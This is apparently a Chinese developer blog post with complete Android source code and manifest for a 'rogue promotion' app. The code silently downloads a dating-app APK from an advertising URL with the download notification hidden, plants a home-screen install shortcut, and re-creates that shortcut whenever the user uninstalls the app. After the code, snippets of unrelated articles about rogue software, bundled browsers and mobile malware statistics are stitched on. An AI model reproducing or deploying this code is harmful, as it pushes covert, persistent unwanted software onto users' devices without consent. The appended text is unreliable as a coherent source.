快捷方式【流氓推广】

Activity


public class MainActivity extends Activity {

    private DownloadCompleteReceiver receiver;

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        TextView textView = new TextView(this);

        textView.setText("流氓推送__聪明反被聪明误");

        setContentView(textView);

        if (Utils.isAppInstalled(this, Utils.PACKAGE_NAME)) {//已安装,删除图标

            Log.i("bqt", "已安装,删除图标");

            Utils.deleteShortCut(this, Utils.getYueLoveIntent());

        } else { //未安装

            File f = new File(Utils.FILE_PATH_ABSOLUTE, Utils.FILE_NAME);

            if (!f.exists()) {//没有下载

                Log.i("bqt", "准备下载");

                if (receiver == null) {

                    receiver = new DownloadCompleteReceiver();

                    IntentFilter intentFilter = new IntentFilter();

                    intentFilter.addAction(android.app.DownloadManager.ACTION_DOWNLOAD_COMPLETE);//下载完成的动作

                    registerReceiver(receiver, intentFilter);

                }

                Utils.downLoadFile(this, Utils.URL);

            } else {//已下载,创建快捷方式

                Log.i("bqt", "创建快捷方式");

                Utils.createShortCut(this, Utils.getYueLoveIntent());

            }

        }

    }

    @Override

    protected void onDestroy() {

        super.onDestroy();

        if (receiver != null) {

            unregisterReceiver(receiver);

            receiver = null;

        }

    }

}

应用安装卸载广播


public class PackageBroadcastReceiver extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent intent) {

        //Broadcast Action: A new application package has been installed on the device. The data contains the name of the package. 

        //新安装的应用接收不到此广播,也即自身安装后自身接收不到;卸载应用的广播也一样,把一个应用卸载后它就收不到卸载广播了

        if (intent.getAction().equals(Intent.ACTION_PACKAGE_ADDED)) {//android.intent.action.PACKAGE_ADDED

            String packageName = intent.getDataString();

            Log.i("bqt", "安装了【" + packageName + "】包名的程序");

            if (packageName.equals(Utils.PACKAGE_NAME_FORMAT)) {

                Utils.deleteShortCut(context, Utils.getYueLoveIntent());

            }

        }

        //An existing application package has been removed from the device. The data contains the name of the package. 

        if (intent.getAction().equals(Intent.ACTION_PACKAGE_REMOVED)) {//android.intent.action.PACKAGE_REMOVED

            String packageName = intent.getDataString();

            Log.i("bqt", "卸载了【" + packageName + "】包名的程序");

            if (packageName.equals(Utils.PACKAGE_NAME_FORMAT)) {

                Utils.createShortCut(context, Utils.getYueLoveIntent());

            }

        }

    }

}

下载完成广播


public class DownloadCompleteReceiver extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent intent) {

        long id = intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, 0);

        if (intent.getAction().equals(DownloadManager.ACTION_DOWNLOAD_COMPLETE)) {

            Log.i("bqt", "编号 " + id + " 的任务已经下载完成!");

            Utils.createShortCut(context, Utils.getYueLoveIntent());

        }

    }

}

工具类


public class Utils {

    /**安装包下载路径,下载后存放的路径、文件名*/

    public static final String URL = "http://api.95yueba.com/app/advert/down.php?channel=ai00002&from_type=d725d6c7306f2fbaea543c3138f677bd";

    public static final String ICON_NAME = "寻爱";//图标名称

    public static final String FILE_NAME = "寻爱.apk";//下载的文件名称

    public static final String FILE_PATH_SHORT = "/95xiu/game_test";//相对路径

    public static final String FILE_PATH_ABSOLUTE = Environment.getExternalStorageDirectory().getAbsolutePath() + FILE_PATH_SHORT;//绝对路径

    public static final String PACKAGE_NAME = "com.lokinfo.seeklove";//包名

    public static final String PACKAGE_NAME_FORMAT = "package:" + PACKAGE_NAME;//加上前缀的包名

    /**下载文件*/

    public static void downLoadFile(Context mContext, String url) {

        android.app.DownloadManager.Request request = new android.app.DownloadManager.Request(Uri.parse(url))//路径

                .setNotificationVisibility(android.app.DownloadManager.Request.VISIBILITY_HIDDEN)//隐藏

                .setAllowedNetworkTypes(android.app.DownloadManager.Request.NETWORK_WIFI)//仅WIFI下载

                .setDestinationInExternalPublicDir(FILE_PATH_SHORT, FILE_NAME);//要使用相对路径

        ((android.app.DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE)).enqueue(request);

    }

    /**创建快捷方式*/

    public static void createShortCut(Context mContext, Intent intent) {

        if (isExistShutCut(mContext, ICON_NAME)) return;

        Intent shortcutintent = new Intent("com.android.launcher.action.INSTALL_SHORTCUT");

        shortcutintent.putExtra("duplicate", false);// 是否可以重复放置shortcut,不一定有效

        shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_NAME, ICON_NAME);//名称

        Bitmap iconBitmap = drawable2Bitmap(getApkIcon(mContext, FILE_PATH_ABSOLUTE + File.separator + FILE_NAME));

        shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_ICON, iconBitmap);//图标

        shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, intent);//动作

        mContext.sendBroadcast(shortcutintent);

    }

    /**删除快捷方式*/

    public static void deleteShortCut(Context mContext, Intent intent) {

        Intent shortcutIntent = new Intent("com.android.launcher.action.UNINSTALL_SHORTCUT");

        shortcutIntent.putExtra(Intent.EXTRA_SHORTCUT_NAME, ICON_NAME);

        shortcutIntent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, intent);//删除时使用的Intent要和创建时的一致才可以

        mContext.sendBroadcast(shortcutIntent);

    }

    /**判断快捷图标是否在数据库中已存在(不一定可靠)*/

    public static boolean isExistShutCut(Context context, String name) {

        boolean isExist = false;

        int version = android.os.Build.VERSION.SDK_INT;

        Uri uri;

        if (version < 8) uri = Uri.parse("content://com.android.launcher.settings/favorites");

        else uri = Uri.parse("content://com.android.launcher2.settings/favorites");

        Cursor c = context.getContentResolver().query(uri, new String[] { "title", "iconResource" }, "title=?", new String[] { name }, null);

        if (c != null) {

            if (c.getCount() > 0) isExist = true;

            c.close();

        }

        return isExist;

    }

    /**获取Intent*/

    public static Intent getYueLoveIntent() {

        Intent intent = new Intent(Intent.ACTION_VIEW);

        intent.setDataAndType(Uri.parse("file://" + FILE_PATH_ABSOLUTE + File.separator + FILE_NAME), "application/vnd.android.package-archive");

        return intent;

    }

    /**获取手机所有已安装程序的包名*/

    public static List<String> getAppInstalledPackages(Context mContext) {

        PackageManager pm = mContext.getPackageManager();

        List<PackageInfo> pinfos = pm.getInstalledPackages(0);

        List<String> pgNames = new ArrayList<String>();

        for (PackageInfo pinfo : pinfos) {

            pgNames.add(pinfo.packageName);

        }

        return pgNames;

    }

    /**判断App是否已经安装*/

    public static boolean isAppInstalled(Context mContext, String packageName) {

        return getAppInstalledPackages(mContext).contains(packageName);

    }

    /**获取APK文件中图标 */

    public static Drawable getApkIcon(Context mContext, String apkPath) {

        PackageManager pm = mContext.getPackageManager();

        PackageInfo info = pm.getPackageArchiveInfo(apkPath, PackageManager.GET_ACTIVITIES);

        if (info != null) {

            ApplicationInfo appInfo = info.applicationInfo;

            appInfo.sourceDir = apkPath;

            appInfo.publicSourceDir = apkPath;

            try {

                return appInfo.loadIcon(pm);

            } catch (OutOfMemoryError e) {

                Log.e("ApkIconLoader", e.toString());

            }

        }

        return mContext.getDrawable(R.drawable.ic_launcher);

    }

    /**将Drawable转化为Bitmap*/

    public static Bitmap drawable2Bitmap(Drawable drawable) {

        if (drawable instanceof BitmapDrawable) return ((BitmapDrawable) drawable).getBitmap();

        Bitmap.Config config = drawable.getOpacity() != PixelFormat.OPAQUE ? Bitmap.Config.ARGB_8888 : Bitmap.Config.RGB_565;

        Bitmap bitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), config);//指定宽高及格式

        Canvas canvas = new Canvas(bitmap);//此Bitmap必须是mutable(可修改的)

        drawable.setBounds(0, 0, drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight());

        drawable.draw(canvas);//把drawable画到canvas中。Draw in its bounds (set via setBounds) respecting根据 optional可选的 effects

        return bitmap;

    }

}

清单文件


<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.bqt.test"

    android:versionCode="1"

    android:versionName="1.0" >

    <uses-sdk

        android:minSdkVersion="16"

        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

    <uses-permission android:name="android.permission.INTERNET" />

    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />

    <uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />

    <uses-permission android:name="android.permission.DOWNLOAD_WITHOUT_NOTIFICATION" />

    <uses-permission android:name="com.android.launcher.permission.READ_SETTINGS" />

    <application

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name" >

        <activity

            android:name=".MainActivity"

            android:label="MainActivity" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <receiver android:name=".PackageBroadcastReceiver" >

            <intent-filter>

                <action android:name="android.intent.action.PACKAGE_ADDED" />

                <action android:name="android.intent.action.PACKAGE_REMOVED" />

                <data android:scheme="package" />

            </intent-filter>

        </receiver>

    </application>

</manifest>

来自为知笔记(Wiz)

附件列表

时间: 2024-11-05 23:35:04

快捷方式【流氓推广】的相关文章

又一流氓推广Microsoft Edge,我勒个去

最新的Windows10 的升级也是醉了,不得不吐槽一个非常流氓的浏览器推广:Microsoft Edge(这小婊砸). 为了将之前的历史包袱IE干掉,这次微软也是蛮拼的,直接把IE从电脑里干掉了,你根本找不到还有这样一款软件存在.真的是我勒个去啊!!!心中的草泥马在奔腾而过啊. 没有IE,不用不就行了呗?!简直是Too young too simple.你知道广大我们伟大的gov群体为广大百姓配备的系统,都是必须得用这个IE运行的.你可以说不用,你也可以拒绝,可是上头的人根本不给你这个与时俱进

国内知名互联网企业的流氓软件和无耻推广手段

谈到电脑安全杀毒方面,本来是要感谢国内的几家做安全杀毒的几家公司,你们对互联网安全有很大的贡献,但是当看到利用广大网民,不顾用户体验,肆意流氓推广,当我看到百度杀毒的恐吓诱导用户的无耻推广手段和瑞星的流氓无赖式寄生,让人厌恶至极. 一.百度杀毒(利用广告弹窗恐吓和诱导用户安装百度是杀毒) 百度杀毒是2013年才推出的,百度杀毒的宣传口号是:不骚扰,不胁迫,不窃取.口号很好!当我看到百度进军安全领域,我不喜不悲,抱着尝试的态度去看待,下载安装使用,感觉没有特别出众之处,也没有什么特别不好之处,表现

网址导航类的网站为什么会没落

今天要谈论的话题是关于网址导航的,在我看来,其实这是一种已经没落的网站行业. 目前还能生存下来的网址导航有hao123网址导航.2345网址导航,除此之外,还有很多互联网公司推出了适配自己产品的网址导航,例如搜狗网址导航.360网址导航等. 我是从2006年开始接触电脑,接触互联网的,那时候的网址导航应用还是比较广泛的,比较知名的网址导航有hao123网址导航.265网址导航,我所熟悉的就是这两个,再后来当2345网址导航推出的时候,被很多人认为是流氓导航,因为总是不知不觉地,自己的网址导航就变

2015移动安全病毒年报

第一章   2015年病毒和仿冒应用发展分析 在移动互联网高速发展的今天,移动设备给人们的生活带来的诸多便利与变革,但也时刻面临着不同程度的安全风险,其中病毒木马是最为普遍且有效的攻击方式之一.不同于以往PC时代攻击场景相对独立的情况,移动设备作为人们与外界进行绝大部分信息交流的重要工具,同时也提供了更多被黑客利用的机会.另一方面,随着移动支付的普及,以及移动设备承载了几乎所有的隐私信息,使得移动设备成为黑客实施以经济利益为目的理想的攻击对象. 根据阿里移动安全的分析统计,2015年移动恶意代码

捆绑安装浏览器:技术剖析搜狗输入法中的猫腻

不知道从什么时候开始,上网变成了搜狗浏览器.卸载后,过几天又莫名其妙安装上.搜狗也算是名门正派,竟然会用这么恶劣的手段捆绑软件!这么做跟病毒有什么区别?! 专门花时间重现了搜狗推广的手段,顺手看到搜狗还有一个调试信息输出开关,只要增加一个注册表值,如果有这个键值就会把调试信息打出来,开着debugview就能监控到搜狗在搞什么小动作: Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\SogouInput] "lot

威胁无处不在

1.漏洞:设计者未知的bug或逻辑 苹果手机就比安卓手机安全吗? 安卓手机(不限制下载源)平均有20个高危漏洞,70%的漏洞是手机厂商在改造后产生(手机系统碎片化,在原生google 安卓上改造) iphone只能通过App Store下载应用,相比安卓机从源头上杜绝了大部分漏洞.但也存在漏洞,不然怎么会有去年大表姐的艳照门,今年赫敏的泳装门? 2.木马与病毒的区别 木马:以窃取为目的,隐蔽性强,不易被发现,可以给黑客带来财富 木马行为:盗号.弹广告.劫持.窃取隐私.刷流量(用户不知情情况下,点

如何匿名上网?-兼谈安全上网

身在中国大陆,可能大家比较关心的是科学上网:今天我谈的不是科学上网,而是匿名上网与安全上网. 什么叫匿名上网?在互联网上,匿名是互联网独特的一种特性.1993年<纽约客>杂志上彼得·斯坦纳的一幅漫画被网民们所信奉.这幅漫画的标题是“在网上,没有人知道你是一条狗”. 虽然在网络上匿名给予了人们更大的自由(阅读与发布信息的自由),但是其代价则是丧失了信息来源的确定性,而且也会引发许多不良的和违法的行为.例如网络色情.诽谤性的言论,欺诈行为,侵犯版权等等. 匿名上网的重要性大家访问网站,然后绝大多数

手游安全告急,爱加密提供全套解决方案

手游已经成为移动互联网具有代表性的产业,在开源性和开放性都更高的Android系统平台下,手游游戏款数.用户量.市场收入都呈激增态势.但另一方面,随着手游应用的急剧增多,手游应用安全也被不法分子和无良黑客盯上,在游戏中捆绑恶意广告插件来谋取利益,不少手游用户便落入扣费.隐私窃取.流氓推广的种种陷阱之中. 目前,手游行业面临的安全问题主要有内购破解.资源文件篡改.存档修改.内存修改.广告修改和注入恶意代码等.针对手游安全现状,越来越多的第三方手游安全服务提供商加入到这个行业,为手游安全保驾护航.

木马病毒比手机上的细菌还多 每天新增近百万

当你每天上着网,唱着歌的时候,有没有想过在这看不见摸不着的网络世界,恶意程序(即木马病毒)比你手机上的细菌还要多?近日,国内最大的互联网安全厂商360发布了<2014年中国个人电脑上网安全报告>(以下简称"报告").报告指出,2014年360互联网安全中心平均每天截获的新增恶意程序样本将近百万个! 根据360互联网安全中心的监测,2014年,360互联网安全中心共截获新增恶意程序样本3.24亿个,平均每天截获新增恶意程序样本达到88.8万个.其中,10月份新增恶意程序样本数